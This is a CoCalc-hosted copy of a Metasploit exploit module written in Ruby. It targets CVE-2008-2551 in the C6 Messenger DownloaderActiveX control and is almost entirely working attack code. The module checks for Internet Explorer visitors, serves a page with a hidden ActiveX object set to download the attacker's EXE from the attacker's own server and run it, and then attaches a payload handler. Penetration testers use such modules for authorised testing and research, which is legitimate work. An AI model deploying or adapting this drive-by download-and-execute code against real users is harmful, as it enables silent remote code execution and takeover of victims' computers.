CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
Views: 1904
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Exploit::Remote

7
  Rank = ExcellentRanking

8


9
  include Msf::Exploit::Remote::HttpServer::HTML

10
  include Msf::Exploit::EXE

11


12
  def initialize(info = {})

13
    super(update_info(info,

14
      'Name'           => 'Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute',

15
      'Description'    => %q{

16
          This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The

17
        vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The

18
        insecure control can be abused to download and execute arbitrary files in the context of

19
        the currently logged-on user.

20
      },

21
      'License'        => MSF_LICENSE,

22
      'Author'         =>

23
        [

24
          'Unknown', # Nine:Situations:Group::SnoopyAssault, vulnerability discovery and exploit

25
          'juan vazquez' # metasploit module

26
        ],

27
      'References'     =>

28
        [

29
          [ 'CVE', '2008-2551' ],

30
          [ 'OSVDB', '45960' ],

31
          [ 'BID', '29519' ]

32
        ],

33
      'DefaultOptions' =>

34
        {

35
          'EXITFUNC'         => "none",

36
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'

37
        },

38
      'Payload'        =>

39
        {

40
          'Space'           => 2048,

41
          'StackAdjustment' => -3500,

42
        },

43
      'Platform'       => 'win',

44
      'Targets'        =>

45
        [

46
          [ 'Automatic', { } ],

47
        ],

48
      'DisclosureDate' => '2008-06-03',

49
      'DefaultTarget'  => 0,

50
      'Privileged'     => false))

51
  end

52


53
  def autofilter

54
    false

55
  end

56


57
  def check_dependencies

58
    use_zlib

59
  end

60


61
  def on_request_uri(cli, request)

62


63
    # Only IEs are potential targets

64
    # "File Session" is used when the ActiveX tries to request the EXE

65
    agent = request.headers['User-Agent']

66
    if agent !~ /MSIE \d\.\d|File Session/

67
      print_error("Target not supported: #{agent}")

68
      return

69
    end

70


71
    payload_url =  "http://"

72
    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

73
    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/#{@payload_rand}"

74


75
    if (request.uri.match(/#{@payload_rand}/))

76
      return if ((p = regenerate_payload(cli)) == nil)

77
      data = generate_payload_exe({ :code => p.encoded })

78
      print_status("Sending EXE payload")

79
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

80
      return

81
    end

82


83
    exe = rand_text_alpha(rand(5) + 1 )

84


85
    content = %Q|

86
    <html>

87
      <object id="DownloaderActiveX1" width="0" height="0" classid="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61" codebase="DownloaderActiveX.cab#Version=1,0,0,1">

88
        <param name="propProgressBackground"  value="#bccee8">

89
        <param name="propTextBackground"  value="#f7f8fc">

90
        <param name="propBarColor"  value="#df0203">

91
        <param name="propTextColor"  value="#000000">

92
        <param name="propWidth"  value="0">

93
        <param name="propHeight"  value="0">

94
        <param name="propDownloadUrl"  value="#{payload_url}/#{exe}.exe">

95
        <param name="propPostDownloadAction"  value="run">

96
        <param name="propInstallCompleteUrl"  value="">

97
        <param name="propBrowserRedirectUrl"  value="">

98
        <param name="propVerbose"  value="0">

99
        <param name="propInterrupt"  value="0">

100
      </OBJECT>

101
    </html>

102
    |

103


104
    print_status("Sending #{self.name}")

105


106
    send_response_html(cli, content)

107


108
    handler(cli)

109


110
  end

111


112
  def exploit

113
    @payload_rand = rand_text_alpha(rand(5) + 5 )

114
    super

115
  end

116
end

117


118